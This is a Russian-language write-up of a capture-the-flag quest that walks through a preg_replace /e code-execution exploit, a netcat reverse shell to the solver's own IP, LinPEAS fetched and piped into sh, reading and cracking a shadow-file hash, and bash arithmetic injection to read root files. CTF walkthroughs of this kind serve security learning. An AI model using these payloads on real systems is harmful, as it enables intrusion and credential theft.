В
сем привет!
Сегодня разберем квест "Черновик" с платформы Antichat.
В этом райтапе я постараюсь изложить решение таска наиболее подробно.
Итак, приступим!
Поиск точки входа
Заходим на первый IP, открываем код страницы, видим что есть спрятанная (hidden) область:
Убираем hidden, появляется форма замены слова. Пробуем изменить "hacker" на "codeby"... Успешно. Идем смотреть скрипт, выполняющий замену:
Видим, что после отправки наше замененное слово "hacker", обрамляется в "/hacker/". Возвращаемся назад, пробуем заменить "/hacker/" на "codeby". Как результат, видим ошибку функции preg_replace():
Ищем в гугле эксплоиты preg_replace. Находим, что для выполнения кода нужно использовать обрамление "/hacker/e", что невозможно сделать через скрипт на сайте (получится "//hacker/e/").
Поэтому открываем postman, делаем POST запрос, где в теле 'x-www-form-urlencoded' проставляем следующие значения:
pattern = "/hacker/e",
replace = system('whoami') (сам исполняемый код),
paragraph = 1 (указываем с какого параграфа делать замену).
Если в ответе получили www-data, значит все ок.
Настройка Reverse Shell
Если у Вас
белый IP, то пробрасывайте порт 4444 (с ним будем работать дальше). Иначе используйте ngrok.
Запускаем netcat на нашем устройстве
для прослушивания порта. Далее идем на revshells.com, вводим свой ip, включаем и ищем подходящий revers shell.
Я остановился на
Код:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc my-ip 4444 >/tmp/f
, где
my-ip - Ваш белый IP.
Заливаем шелл командой:
Код:
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc my-ip 4444 >/tmp/f')
. Запускаем, возвращаемся в терминал с netcat'ом.
Проверяем соединение вводом команды: "whoami". Если ответ "www-data", то все ок.
Далее настроим наш терминал. Вводим команду
Код:
python -c 'import pty; pty.spawn("/bin/bash")'
и получаем интерактивную оболочку.
Ищем уязвимости
Плутать по серверу и искать уязвимости вручную - это долго и глупо. Для этого есть утилита LinPEAS. Просто вводим команду
Код:
curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230731-452f0c44/linpeas.sh | sh
. Посмотрим вывод. Привлекает внимание несколько backup файлов, среди которых
/etc/shadow.backup.Оригинальный файл
/etc/shadow содержит хэшированные пароли пользователей и недоступен для чтения/записи. Но у нас есть бэкап который открывается.
Откроем:
Код:
cat /etc/shadow.backup
. Видим хэш с солью нужного нам пользователя.
Брутим пароль
Смотрим формат строки в файле:
Код:
$6$xxxxxx$00000000000000000000:14715:0:99999:7:::
Первые 3 символа "$6$" указывают на кодировку хэша SHA-512.
Все, что между вторым и третьим символом доллара ($) - это соль.
Все, что дальше него до двоеточия ":" - это хэш.
Все, что дальше двоеточия включительно нам
не нужно.
Раз есть хэш, то надо брутить! Создаем файл hash.txt и вводим туда наш хэш не оставляя пробелов до или после самого хэша.
Запускаем Брут командой
Код:
hashcat -m 1800 -a 0 -o crack.txt --remove hash.txt /usr/share/wordlists/rockyou.txt
, где 1800 - режим брута хэша (SHA-512 + salt), "-a 0" указывает на брутфорс по словарю, а crack.txt - выходной файл с паролем. Ждем.
Через несколько минут получаем пароль.
Теперь подключаемся ко
второму IP по ssh командой:
Код:
ssh derek@62.173.140.174 -p 18722
. Вводим пароль, полученный из хэша. Теперь мы можем прочесть нашу первую часть флага. Читаем:
.
Сохраняем первую часть в блокноте.
Повышаем привилегии
Первую часть флага мы получили, неплохо бы и вторую отыскать . Для этого будем повышать наши права на сервере до root'а.
Выполнив
открываем для себя файл guessNum.sh, который мы можем запускать. Сразу же открываем его cat'ом и видим, что он проверяет введенное значение с
. На первый взгляд ничего интересного, но он уязвим, иначе он бы здесь не оказался (так еще и с правами выполнения ), поэтому вбиваем в гугл следующее: "bash -eq exploits". Сразу видим, что мы не ошиблись: арифметика в bash'е в самом деле уязвимая. Путем перехода на первую же ссылку видим нужный нам пример повышения привилегий.
Запускаем наш guessNum.sh. Копируем пример с сайта, но вводим, понятное дело, не
Код:
a[$(/bin/sh >&2)]+42
, а
Код:
[$(ls /root/ >&2)]+1337
, для чтения директории root.
И мы видим наш последний файл!
Открываем его командой
Код:
a[$(cat /root/last_part >&2)]+1337
и получаем последнюю часть флага!
Соединяем две части флага и сдаем.
Спасибо за прочтение!
Если есть пожелание или критика - пишите!